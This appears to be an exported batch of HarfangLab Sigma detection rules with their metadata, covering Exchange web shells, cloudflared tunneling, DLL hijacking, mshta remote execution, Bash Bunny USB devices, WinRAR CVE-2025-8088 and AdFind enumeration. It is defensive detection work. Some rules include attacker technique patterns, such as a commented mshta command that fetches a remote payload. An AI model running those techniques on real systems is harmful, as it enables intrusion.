+  "content": "title: Suspicious File Created linked to Microsoft Exchange Exploitation\nid: 56320185-bef7-49c7-b8cf-e2f646e9ba86\ndescription: |\n    Detects the creation of suspicious files inside the Microsoft Exchange web server folder.\n    Attackers can use these placed .aspx files as web shells, persistence or initial access.\n    It is recommended to investigate the content of the created file to determine its legitimacy.\nreferences:\n    - https://twitter.com/gossithedog/status/1367168122403368962?lang=fr\n    - https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/\n    - https://attack.mitre.org/techniques/T1505/003/\ndate: 2022/09/02\nmodified: 2025/07/09\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1505.003\n    - attack.initial_access\n    - attack.t1190\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection_dir:\n        TargetFilename|contains:\n            - '\\inetpub\\wwwroot\\aspnet_client\\'\n            - '\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\\\???\\auth\\' # owa, ecp\n\n    # Legitimate files\n    # This legitimate files can be modify by attackers as already seen in the wild\n    # '\\FrontEnd\\HttpProxy\\owa\\auth\\ExpiredPassword.aspx'\n    # '\\FrontEnd\\HttpProxy\\owa\\auth\\OutlookCN.aspx'\n    # '\\FrontEnd\\HttpProxy\\owa\\auth\\RedirSuiteServiceProxy.aspx'\n    # '\\FrontEnd\\HttpProxy\\owa\\auth\\errorFE.aspx'\n    # '\\FrontEnd\\HttpProxy\\owa\\auth\\frowny.aspx'\n    # '\\FrontEnd\\HttpProxy\\owa\\auth\\logoff.aspx'\n    # '\\FrontEnd\\HttpProxy\\owa\\auth\\logon.aspx'\n    # '\\FrontEnd\\HttpProxy\\owa\\auth\\signout.aspx'\n    selection_file:\n        TargetFilename|endswith:\n            - '.aspx'\n            - '.asp'\n            - '.ashx'\n\n    exclusion_msiexec:\n        ProcessCommandLine: '?:\\Windows\\system32\\msiexec.exe /V'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "56320185-bef7-49c7-b8cf-e2f646e9ba86",
+  "rule_name": "Suspicious File Created linked to Microsoft Exchange Exploitation",
+  "rule_description": "Detects the creation of suspicious files inside the Microsoft Exchange web server folder.\nAttackers can use these placed .aspx files as web shells, persistence or initial access.\nIt is recommended to investigate the content of the created file to determine its legitimacy.\n",
+  "rule_creation_date": "2022-09-02",
+  "rule_modified_date": "2025-07-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1190",
+    "attack.t1505.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "568f6fdb-3564-4318-bf83-552ed6516300",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603985Z",
+  "creation_date": "2026-03-23T11:45:34.603988Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603996Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/cloudflare/cloudflared",
+    "https://blog.reconinfosec.com/emergence-of-akira-ransomware-group",
+    "https://attack.mitre.org/techniques/T1572/"
+  ],
+  "name": "t1572_cloudfare_tunneling_cmdline.yml",
+  "content": "title: Cloudfared Tunneling CommandLine Detected\nid: 568f6fdb-3564-4318-bf83-552ed6516300\ndescription: |\n    Detects a command-line that is associated with the Cloudfared Tunnel agent.\n    Cloudfared is a tunneling daemon that proxies traffic from the Cloudfare network.\n    This has been seen in use by threat actors such as Akira ransomware to tunnel into internal infrastructure.\n    It is recommended to investigate the process's and daemon's network connections to determine if this activity is normal in your infrastructure.\nreferences:\n    - https://github.com/cloudflare/cloudflared\n    - https://blog.reconinfosec.com/emergence-of-akira-ransomware-group\n    - https://attack.mitre.org/techniques/T1572/\ndate: 2023/05/11\nmodified: 2025/03/18\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1572\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.Cloudflared\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.Tunneling\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine|contains:\n            - \"tunnel * run --token\"\n            - \"tunnel * --config * run\"\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "568f6fdb-3564-4318-bf83-552ed6516300",
+  "rule_name": "Cloudfared Tunneling CommandLine Detected",
+  "rule_description": "Detects a command-line that is associated with the Cloudfared Tunnel agent.\nCloudfared is a tunneling daemon that proxies traffic from the Cloudfare network.\nThis has been seen in use by threat actors such as Akira ransomware to tunnel into internal infrastructure.\nIt is recommended to investigate the process's and daemon's network connections to determine if this activity is normal in your infrastructure.\n",
+  "rule_creation_date": "2023-05-11",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1572"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "56b4092b-c97b-4030-aec7-939c18d9289c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077492Z",
+  "creation_date": "2026-03-23T11:45:34.077494Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077498Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_musnotifyicon.yml",
+  "content": "title: DLL Hijacking via musnotifyicon.exe\nid: 56b4092b-c97b-4030-aec7-939c18d9289c\ndescription: |\n    Detects potential Windows DLL Hijacking via musnotifyicon.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'musnotifyicon.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DMCmnUtils.dll'\n            - '\\UPShared.dll'\n            - '\\uxtheme.dll'\n            - '\\WINHTTP.dll'\n            - '\\XmlLite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "56b4092b-c97b-4030-aec7-939c18d9289c",
+  "rule_name": "DLL Hijacking via musnotifyicon.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via musnotifyicon.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "56bae207-eb3c-45be-90d9-0408b650bcc4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075386Z",
+  "creation_date": "2026-03-23T11:45:34.075388Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075393Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/threat-detection-report/techniques/mshta/",
+    "https://lolbas-project.github.io/lolbas/Binaries/Mshta/",
+    "https://attack.mitre.org/techniques/T1218/005/"
+  ],
+  "name": "t1218_005_remote_content_execution_mshta.yml",
+  "content": "title: Remote Content Executed via Mshta\nid: 56bae207-eb3c-45be-90d9-0408b650bcc4\ndescription: |\n    Detects the execution of a remote payload via mshta.exe.\n    Mshta can be used to proxy the execution of a malicious content.\n    It is recommended to investigate the remote file and the actions it performed to ensure the action was legitimate.\nreferences:\n    - https://redcanary.com/threat-detection-report/techniques/mshta/\n    - https://lolbas-project.github.io/lolbas/Binaries/Mshta/\n    - https://attack.mitre.org/techniques/T1218/005/\ndate: 2024/02/05\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.005\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Mshta\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.FileDownload\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # mshta.exe https://example.com/payload\n    selection:\n        OriginalFileName: 'MSHTA.EXE'\n        CommandLine|contains:\n            - ' http://'\n            - ' https://'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "56bae207-eb3c-45be-90d9-0408b650bcc4",
+  "rule_name": "Remote Content Executed via Mshta",
+  "rule_description": "Detects the execution of a remote payload via mshta.exe.\nMshta can be used to proxy the execution of a malicious content.\nIt is recommended to investigate the remote file and the actions it performed to ensure the action was legitimate.\n",
+  "rule_creation_date": "2024-02-05",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "56c9f2fa-7332-4c35-973b-9ff587dbdd2f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.294344Z",
+  "creation_date": "2026-03-23T11:45:35.294348Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294355Z",
+  "rule_level": "low",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1053/003/"
+  ],
+  "name": "t1053_003_crontab_list_macos.yml",
+  "content": "title: Cron Jobs Enumerated via Crontab (macOS)\nid: 56c9f2fa-7332-4c35-973b-9ff587dbdd2f\ndescription: |\n    Detects the execution of the crontab command to list cron jobs.\n    An attacker could use the list of cron jobs to possibly inject malicious behaviour in unprotected scripts.\n    It is recommended to check for other suspicious activity by the parent process.\nreferences:\n    - https://attack.mitre.org/techniques/T1053/003/\ndate: 2022/11/24\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1053.003\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/bin/crontab'\n        CommandLine|contains: ' -l'\n        ParentImage|contains: '?'\n\n    exclusion_meraki:\n        GrandparentCommandLine: '/bin/bash /tmp/PKInstallSandbox.??????/Scripts/com.meraki.scriptonly.??????/postinstall /Library/Application Support/Meraki/*'\n\n    exclusion_knockknock:\n        ParentImage: '/Applications/KnockKnock.app/Contents/MacOS/KnockKnock'\n\n    exclusion_mackeeper:\n        ParentImage:\n            - '/applications/mackeeper.app/contents/library/launchagents/mackeeperagent.app/contents/macos/mackeeperagent'\n            - '/library/privilegedhelpertools/com.mackeeper.mackeeperprivilegedhelper'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "56c9f2fa-7332-4c35-973b-9ff587dbdd2f",
+  "rule_name": "Cron Jobs Enumerated via Crontab (macOS)",
+  "rule_description": "Detects the execution of the crontab command to list cron jobs.\nAn attacker could use the list of cron jobs to possibly inject malicious behaviour in unprotected scripts.\nIt is recommended to check for other suspicious activity by the parent process.\n",
+  "rule_creation_date": "2022-11-24",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "56dfdfb3-5fef-4368-8250-dd5afca44520",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091999Z",
+  "creation_date": "2026-03-23T11:45:34.092001Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092005Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sciencedirect.com/science/article/pii/S2666281721000986",
+    "https://securelist.com/darkvishnya/89169/",
+    "https://attack.mitre.org/techniques/T1091/",
+    "https://attack.mitre.org/techniques/T1200/"
+  ],
+  "name": "t1200_bash_bunny_usage.yml",
+  "content": "title: Bash Bunny Malicious USB Key Detected\nid: 56dfdfb3-5fef-4368-8250-dd5afca44520\ndescription: |\n    Detects an entry in USB-related registry values with an ID associated with Default Bash Bunny devices.\n    Bash Bunny is a physical media payload platform that can deploy payloads after insertion on a computer.\n    Once plugged into a computer, custom payloads can be used to perform malicious activities.\n    It is recommended to conduct a forensic investigation to see if files were exfiltrated or other malicious actions were taken.\n    The sciencedirect article in the references may help indicate what artifacts might be generated.\nreferences:\n    - https://www.sciencedirect.com/science/article/pii/S2666281721000986\n    - https://securelist.com/darkvishnya/89169/\n    - https://attack.mitre.org/techniques/T1091/\n    - https://attack.mitre.org/techniques/T1200/\ndate: 2023/03/21\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1200\n    - attack.t1091\n    - classification.Windows.Source.Registry\n    - classification.Windows.HackTool.BashBunny\n    - classification.Windows.Behavior.USB\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        # BashBunny uses the F000 vendor ID, which is not associated to any vendor, and FF03 product ID.\n        # The IDs are added to registry by the usbstor.sys driver.\n        TargetObject|contains:\n            - 'SYSTEM\\CurrentControlSet\\Control\\usbflags\\F000FF03????'\n            - 'SYSTEM\\CurrentControlSet\\Enum\\USB\\VID_F000&PID_FF03'\n\n    condition: selection\nlevel: critical\n# level: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "56dfdfb3-5fef-4368-8250-dd5afca44520",
+  "rule_name": "Bash Bunny Malicious USB Key Detected",
+  "rule_description": "Detects an entry in USB-related registry values with an ID associated with Default Bash Bunny devices.\nBash Bunny is a physical media payload platform that can deploy payloads after insertion on a computer.\nOnce plugged into a computer, custom payloads can be used to perform malicious activities.\nIt is recommended to conduct a forensic investigation to see if files were exfiltrated or other malicious actions were taken.\nThe sciencedirect article in the references may help indicate what artifacts might be generated.\n",
+  "rule_creation_date": "2023-03-21",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1091",
+    "attack.t1200"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "56f219b0-67df-4050-90cd-053d9320bbca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092257Z",
+  "creation_date": "2026-03-23T11:45:34.092259Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092263Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/en/eset-research/update-winrar-tools-now-romcom-and-others-exploiting-zero-day-vulnerability/",
+    "https://nvd.nist.gov/vuln/detail/CVE-2025-8088",
+    "https://attack.mitre.org/techniques/T1203/"
+  ],
+  "name": "t1203_winrar_cve_2025_8088.yml",
+  "content": "title: WinRAR CVE-2025-8088 Vulnerability Exploited\nid: 56f219b0-67df-4050-90cd-053d9320bbca\ndescription: |\n    Detects the creation of a suspicious file related to the exploitation of CVE-2025-8088, a vulnerability affecting WinRAR.\n    CVE-2025-8088 is a path traversal zero-day vulnerability in WinRAR versions before 7.11 that allows attackers to execute arbitrary code by embedding malicious files in alternate data streams within crafted archives, enabling silent placement of malicious files in startup locations.\n    This vulnerability has been actively exploited by the RomCom threat actor to deliver backdoors and establish persistence on compromised systems.\n    It is recommended to investigate the content of the archive and the created file to determine their legitimacy.\nreferences:\n    - https://www.welivesecurity.com/en/eset-research/update-winrar-tools-now-romcom-and-others-exploiting-zero-day-vulnerability/\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-8088\n    - https://attack.mitre.org/techniques/T1203/\ndate: 2025/08/13\nmodified: 2025/08/20\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1566\n    - attack.execution\n    - attack.t1204.002\n    - attack.t1203\n    - attack.persistence\n    - attack.t1547.001\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Exploit.CVE-2025-8088\n    - classification.Windows.Exploit.WinRAR\n    - classification.Windows.Behavior.Phishing\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Image|endswith: '\\WinRAR.exe'\n        Path|contains:\n            - '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\'\n            - '\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\'\n            - '\\Documents\\PowerShell\\profile.ps1'\n            - '\\Documents\\WindowsPowerShell\\profile.ps1'\n            - '\\System32\\WindowsPowerShell\\v1.0\\profile.ps1'\n            - '\\Documents\\PowerShell\\\\*_profile.ps1'\n            - '\\Documents\\WindowsPowerShell\\\\*_profile.ps1'\n            - '\\System32\\WindowsPowerShell\\v1.0\\\\*_profile.ps1'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Microsoft\\Word\\Startup\\'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Microsoft\\Excel\\XLStart\\'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Microsoft\\Addins\\'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "56f219b0-67df-4050-90cd-053d9320bbca",
+  "rule_name": "WinRAR CVE-2025-8088 Vulnerability Exploited",
+  "rule_description": "Detects the creation of a suspicious file related to the exploitation of CVE-2025-8088, a vulnerability affecting WinRAR.\nCVE-2025-8088 is a path traversal zero-day vulnerability in WinRAR versions before 7.11 that allows attackers to execute arbitrary code by embedding malicious files in alternate data streams within crafted archives, enabling silent placement of malicious files in startup locations.\nThis vulnerability has been actively exploited by the RomCom threat actor to deliver backdoors and establish persistence on compromised systems.\nIt is recommended to investigate the content of the archive and the created file to determine their legitimacy.\n",
+  "rule_creation_date": "2025-08-13",
+  "rule_modified_date": "2025-08-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1203",
+    "attack.t1204.002",
+    "attack.t1547.001",
+    "attack.t1566"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5731e436-612e-43cb-872d-82344b85d732",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627748Z",
+  "creation_date": "2026-03-23T11:45:34.627750Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627754Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "http://www.joeware.net/freetools/tools/adfind/",
+    "https://attack.mitre.org/techniques/T1087/002/",
+    "https://attack.mitre.org/techniques/T1482/",
+    "https://attack.mitre.org/techniques/T1069/002/",
+    "https://attack.mitre.org/techniques/T1018/",
+    "https://attack.mitre.org/techniques/T1016/",
+    "https://attack.mitre.org/software/S0552/"
+  ],
+  "name": "adfind_usage.yml",
+  "content": "title: AdFind Binary Executed\nid: 5731e436-612e-43cb-872d-82344b85d732\ndescription: |\n    Detects the execution of the AdFind binary.\n    AdFind is a legitimate tool that has been used by numerous threat actors for conducting enumeration in an Active Directory network.\n    It is recommended to determine if this binary is expected to be used in your environment and to look for other suspicious actions on the host.\nreferences:\n    - http://www.joeware.net/freetools/tools/adfind/\n    - https://attack.mitre.org/techniques/T1087/002/\n    - https://attack.mitre.org/techniques/T1482/\n    - https://attack.mitre.org/techniques/T1069/002/\n    - https://attack.mitre.org/techniques/T1018/\n    - https://attack.mitre.org/techniques/T1016/\n    - https://attack.mitre.org/software/S0552/\ndate: 2020/12/15\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087.002\n    - attack.t1482\n    - attack.t1069.002\n    - attack.t1018\n    - attack.t1016\n    - attack.s0552\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.AdFind\n    - classification.Windows.Behavior.ActiveDirectory\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\AdFind.exe'\n\n    # This is handled by the rule 8ad5b489-e501-424e-b275-b55b2e88f3f0\n    filter_cmds:\n        CommandLine|contains:\n            - '-sc trustdmp'\n            - '-sc admincountdmp'\n            - 'objectclass=trusteddomain'\n            - 'objectcategory=computer'\n            - 'objectcategory=organizationalUnit'\n\n    condition: selection and not 1 of filter_*\nfalsepositives:\n    - Legitimate use of AdFind by an administrator or 3rd party application\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
